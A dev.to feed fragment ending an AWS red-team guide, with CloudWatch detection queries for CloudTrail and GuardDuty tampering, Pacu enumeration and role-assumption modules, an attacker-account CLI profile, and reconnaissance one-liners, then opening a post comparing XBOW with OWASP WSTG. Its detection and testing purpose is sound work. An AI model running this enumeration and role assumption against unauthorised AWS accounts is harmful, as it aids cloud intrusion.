  &lt;span class="nt"&gt;--statistic&lt;/span&gt; Sum &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--period&lt;/span&gt; 300 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--threshold&lt;/span&gt; 5 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--comparison-operator&lt;/span&gt; GreaterThanThreshold &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--evaluation-periods&lt;/span&gt; 1 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--alarm-actions&lt;/span&gt; arn:aws:sns:REGION:ACCOUNT:alarm-topic

&lt;span class="c"&gt;# 2. Enable AWS Security Hub&lt;/span&gt;
aws securityhub enable-security-hub

&lt;span class="c"&gt;# 3. Create custom GuardDuty detection&lt;/span&gt;
&lt;span class="c"&gt;# (Requires Lambda function and EventBridge rule)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  8. Detection Engineering
&lt;/h2&gt;

&lt;h3&gt;
  
  
  8.1 CloudWatch Log Insights Queries
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Detect IAM User Creation
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;filter&lt;/span&gt; &lt;span class="n"&gt;eventSource&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nv"&gt;"iam.amazonaws.com"&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;filter&lt;/span&gt; &lt;span class="n"&gt;eventName&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nv"&gt;"CreateUser"&lt;/span&gt; &lt;span class="k"&gt;or&lt;/span&gt; &lt;span class="n"&gt;eventName&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nv"&gt;"CreateAccessKey"&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;stats&lt;/span&gt; &lt;span class="k"&gt;count&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;by&lt;/span&gt; &lt;span class="n"&gt;eventName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;userIdentity&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;arn&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;sort&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="nb"&gt;timestamp&lt;/span&gt; &lt;span class="k"&gt;desc&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Detect GuardDuty Disablement
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;filter&lt;/span&gt; &lt;span class="n"&gt;eventSource&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nv"&gt;"guardduty.amazonaws.com"&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;filter&lt;/span&gt; &lt;span class="n"&gt;eventName&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nv"&gt;"DeleteDetector"&lt;/span&gt; &lt;span class="k"&gt;or&lt;/span&gt; &lt;span class="n"&gt;eventName&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nv"&gt;"UpdateDetector"&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;stats&lt;/span&gt; &lt;span class="k"&gt;count&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;by&lt;/span&gt; &lt;span class="n"&gt;eventName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;userIdentity&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;arn&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;sort&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="nb"&gt;timestamp&lt;/span&gt; &lt;span class="k"&gt;desc&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Detect CloudTrail Tampering
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;filter&lt;/span&gt; &lt;span class="n"&gt;eventSource&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nv"&gt;"cloudtrail.amazonaws.com"&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;filter&lt;/span&gt; &lt;span class="n"&gt;eventName&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nv"&gt;"StopLogging"&lt;/span&gt; &lt;span class="k"&gt;or&lt;/span&gt; &lt;span class="n"&gt;eventName&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nv"&gt;"DeleteTrail"&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;stats&lt;/span&gt; &lt;span class="k"&gt;count&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;by&lt;/span&gt; &lt;span class="n"&gt;eventName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;userIdentity&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;arn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sourceIPAddress&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;sort&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="nb"&gt;timestamp&lt;/span&gt; &lt;span class="k"&gt;desc&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Detect S3 Public Access Changes
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;filter&lt;/span&gt; &lt;span class="n"&gt;eventSource&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nv"&gt;"s3.amazonaws.com"&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;filter&lt;/span&gt; &lt;span class="n"&gt;eventName&lt;/span&gt; &lt;span class="k"&gt;like&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;PutBucketAcl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="k"&gt;or&lt;/span&gt; &lt;span class="n"&gt;eventName&lt;/span&gt; &lt;span class="k"&gt;like&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;PutBucketPolicy&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;stats&lt;/span&gt; &lt;span class="k"&gt;count&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;by&lt;/span&gt; &lt;span class="n"&gt;bucket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;eventName&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;sort&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="nb"&gt;timestamp&lt;/span&gt; &lt;span class="k"&gt;desc&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.2 GuardDuty Custom Detections
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Anomalous IAM Activity
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Anomalous IAM Activity"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Detects unusual IAM operations"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"enabled"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"IAM"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"conditions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"field"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"eventName"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"operator"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"IN"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"values"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"CreateUser"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"CreateAccessKey"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"AttachUserPolicy"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"field"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"userIdentity.type"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"operator"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"EQUALS"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"values"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"IAMUser"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"actions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"severity"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HIGH"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"alert"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.3 Security Hub Custom Insights
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Create custom insight for critical findings&lt;/span&gt;
aws securityhub create-insight &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt; &lt;span class="s2"&gt;"Critical IAM Findings"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--filters&lt;/span&gt; &lt;span class="s1"&gt;'{
    "Severity": [{"Comparison": "EQUALS", "Value": 4}],
    "ResourceType": [{"Comparison": "EQUALS", "Value": "AwsIamUser"}]
  }'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--group-by&lt;/span&gt; aws.securityhub.insight.Arn
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  9. Appendix
&lt;/h2&gt;

&lt;h3&gt;
  
  
  9.1 AWS CLI Configuration Examples
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Multi-Profile Setup
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="c"&gt;# ~/.aws/credentials
&lt;/span&gt;&lt;span class="nn"&gt;[target-account]&lt;/span&gt;
&lt;span class="py"&gt;aws_access_key_id&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;AKIA...&lt;/span&gt;
&lt;span class="py"&gt;aws_secret_access_key&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;...&lt;/span&gt;

&lt;span class="nn"&gt;[attacker-account]&lt;/span&gt;
&lt;span class="py"&gt;aws_access_key_id&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;AKIA...&lt;/span&gt;
&lt;span class="py"&gt;aws_secret_access_key&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;...&lt;/span&gt;

&lt;span class="c"&gt;# ~/.aws/config
&lt;/span&gt;&lt;span class="nn"&gt;[profile target-account]&lt;/span&gt;
&lt;span class="py"&gt;region&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;us-east-1&lt;/span&gt;
&lt;span class="py"&gt;output&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;json&lt;/span&gt;

&lt;span class="nn"&gt;[profile attacker-account]&lt;/span&gt;
&lt;span class="py"&gt;region&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;us-west-2&lt;/span&gt;
&lt;span class="py"&gt;output&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;json&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  AWS CLI Config File
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="c"&gt;# ~/.aws/config
&lt;/span&gt;&lt;span class="nn"&gt;[default]&lt;/span&gt;
&lt;span class="py"&gt;region&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;us-east-1&lt;/span&gt;
&lt;span class="py"&gt;output&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;json&lt;/span&gt;
&lt;span class="py"&gt;cli_pager&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt;

&lt;span class="nn"&gt;[profile redteam]&lt;/span&gt;
&lt;span class="py"&gt;region&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;us-east-1&lt;/span&gt;
&lt;span class="py"&gt;output&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;table&lt;/span&gt;
&lt;span class="py"&gt;credential_process&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;/usr/local/bin/aws-rotate-creds&lt;/span&gt;

&lt;span class="nn"&gt;[profile readonly]&lt;/span&gt;
&lt;span class="py"&gt;region&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;us-west-2&lt;/span&gt;
&lt;span class="py"&gt;output&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;json&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.2 Pacu Module Reference
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Module&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;iam__enum_users&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Enumerate IAM users&lt;/td&gt;
&lt;td&gt;&lt;code&gt;run iam__enum_users&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;iam__enum_roles&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Enumerate IAM roles&lt;/td&gt;
&lt;td&gt;&lt;code&gt;run iam__enum_roles&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;iam__assume_role&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Assume IAM roles&lt;/td&gt;
&lt;td&gt;&lt;code&gt;run iam__assume_role&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ec2__enum&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Enumerate EC2 resources&lt;/td&gt;
&lt;td&gt;&lt;code&gt;run ec2__enum&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;lambda__enum&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Enumerate Lambda functions&lt;/td&gt;
&lt;td&gt;&lt;code&gt;run lambda__enum&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;s3__enum&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Enumerate S3 buckets&lt;/td&gt;
&lt;td&gt;&lt;code&gt;run s3__enum&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cloudtrail__enum&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Enumerate CloudTrail&lt;/td&gt;
&lt;td&gt;&lt;code&gt;run cloudtrail__enum&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;guardduty__enum&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Check GuardDuty status&lt;/td&gt;
&lt;td&gt;&lt;code&gt;run guardduty__enum&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  9.3 Useful AWS CLI One-Liners
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# List all S3 buckets&lt;/span&gt;
aws s3 &lt;span class="nb"&gt;ls&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $2}'&lt;/span&gt;

&lt;span class="c"&gt;# Find public S3 buckets&lt;/span&gt;
aws s3api list-buckets &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'Buckets[].Name'&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
  xargs &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt; aws s3api get-bucket-acl &lt;span class="nt"&gt;--bucket&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'ACL[?Grantee.URI==`http://acs.amazonaws.com/groups/global/AllUsers`]'&lt;/span&gt;

&lt;span class="c"&gt;# List all EC2 instances&lt;/span&gt;
aws ec2 describe-instances &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'Reservations[].Instances[].[InstanceId,InstanceType,State.Name]'&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; table

&lt;span class="c"&gt;# Find instances with public IP&lt;/span&gt;
aws ec2 describe-instances &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'Reservations[].Instances[?PublicIpAddress!=`null`].[InstanceId,PublicIpAddress]'&lt;/span&gt;

&lt;span class="c"&gt;# List all Lambda functions&lt;/span&gt;
aws lambda list-functions &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'Functions[].[FunctionName,Runtime,Handler]'&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; table

&lt;span class="c"&gt;# Check MFA status for all users&lt;/span&gt;
aws iam list-users &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'Users[].UserName'&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
  xargs &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt; aws iam list-mfa-devices &lt;span class="nt"&gt;--user-name&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'MFADevices[0].SerialNumber'&lt;/span&gt;

&lt;span class="c"&gt;# Find roles trust relationship&lt;/span&gt;
aws iam list-roles &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'Roles[].RoleName'&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
  xargs &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt; aws iam get-role &lt;span class="nt"&gt;--role-name&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'Role.AssumeRolePolicyDocument'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.4 Emergency Response Checklist
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Immediate Actions
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Rotate all AWS access keys&lt;/li&gt;
&lt;li&gt;[ ] Delete suspicious IAM users/roles&lt;/li&gt;
&lt;li&gt;[ ] Enable CloudTrail in all regions&lt;/li&gt;
&lt;li&gt;[ ] Enable GuardDuty&lt;/li&gt;
&lt;li&gt;[ ] Review CloudTrail logs for suspicious activity&lt;/li&gt;
&lt;li&gt;[ ] Check for unauthorized S3 bucket policies&lt;/li&gt;
&lt;li&gt;[ ] Review EC2 instances for backdoors&lt;/li&gt;
&lt;li&gt;[ ] Check Lambda functions for malicious code&lt;/li&gt;
&lt;li&gt;[ ] Review IAM trust relationships&lt;/li&gt;
&lt;li&gt;[ ] Check for cross-account access grants&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Post-Incident
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Document all findings&lt;/li&gt;
&lt;li&gt;[ ] Update security policies&lt;/li&gt;
&lt;li&gt;[ ] Implement missing controls&lt;/li&gt;
&lt;li&gt;[ ] Conduct lessons learned session&lt;/li&gt;
&lt;li&gt;[ ] Update incident response plan&lt;/li&gt;
&lt;li&gt;[ ] Schedule follow-up assessment&lt;/li&gt;
&lt;/ul&gt;




</description>
      <category>redteaming</category>
      <category>aws</category>
      <category>cloudsecurity</category>
    </item>
    <item>
      <title>Two Frameworks, One Mission: Rethinking Web Security Testing in the AI Era</title>
      <dc:creator>Eng Soon Cheah</dc:creator>
      <pubDate>Tue, 03 Mar 2026 02:15:08 +0000</pubDate>
      <link>https://dev.to/cheahengsoon/two-frameworks-one-mission-rethinking-web-security-testing-in-the-ai-era-4flb</link>
      <guid>https://dev.to/cheahengsoon/two-frameworks-one-mission-rethinking-web-security-testing-in-the-ai-era-4flb</guid>
      <description>&lt;p&gt;&lt;strong&gt;Red Team Frameworks and Plugins&lt;/strong&gt; &lt;/p&gt;

&lt;h1&gt;
  
  
  XBOW Benchmark vs OWASP WSTG
&lt;/h1&gt;

&lt;h3&gt;
  
  
  A Framework Comparison for AI-Augmented Penetration Testing
&lt;/h3&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Purpose &amp;amp; Scope&lt;/li&gt;
&lt;li&gt;Core Dimensions Compared&lt;/li&gt;
&lt;li&gt;Vulnerability Coverage Overlap&lt;/li&gt;
&lt;li&gt;XBOW Category Exploit Rates&lt;/li&gt;
&lt;li&gt;OWASP WSTG Category Overview&lt;/li&gt;
&lt;li&gt;How They Complement Each Other&lt;/li&gt;
&lt;li&gt;The Fundamental Tension&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Purpose &amp;amp; Scope
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;XBOW Benchmark&lt;/strong&gt; is an &lt;em&gt;evaluation framework&lt;/em&gt; — it measures how well an AI hacking agent can autonomously find and exploit vulnerabilities. It answers:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"How capable is this tool?"&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It is empirical, binary, and time-bound.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OWASP WSTG&lt;/strong&gt; is a &lt;em&gt;testing methodology&lt;/em&gt; — it defines what a thorough web application pentest should cover. It answers:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"What should be tested, and how?"&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It is prescriptive, comprehensive, and human-authored.&lt;/p&gt;

&lt;p&gt;They operate at different layers: &lt;strong&gt;XBOW grades the agent&lt;/strong&gt;, &lt;strong&gt;WSTG governs the engagement&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Core Dimensions Compared
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;XBOW Benchmark&lt;/th&gt;
&lt;th&gt;OWASP WSTG&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Primary audience&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AI/tool developers, red teams evaluating agents&lt;/td&gt;
&lt;td&gt;Pentesters, security engineers, auditors&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Output&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Exploit rate, time-to-exploit score&lt;/td&gt;
&lt;td&gt;Test checklist, finding evidence, remediation guidance&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Pass/fail model&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Binary — working PoC or nothing&lt;/td&gt;
&lt;td&gt;Tiered — finding severity + evidence quality&lt;/td&gt;
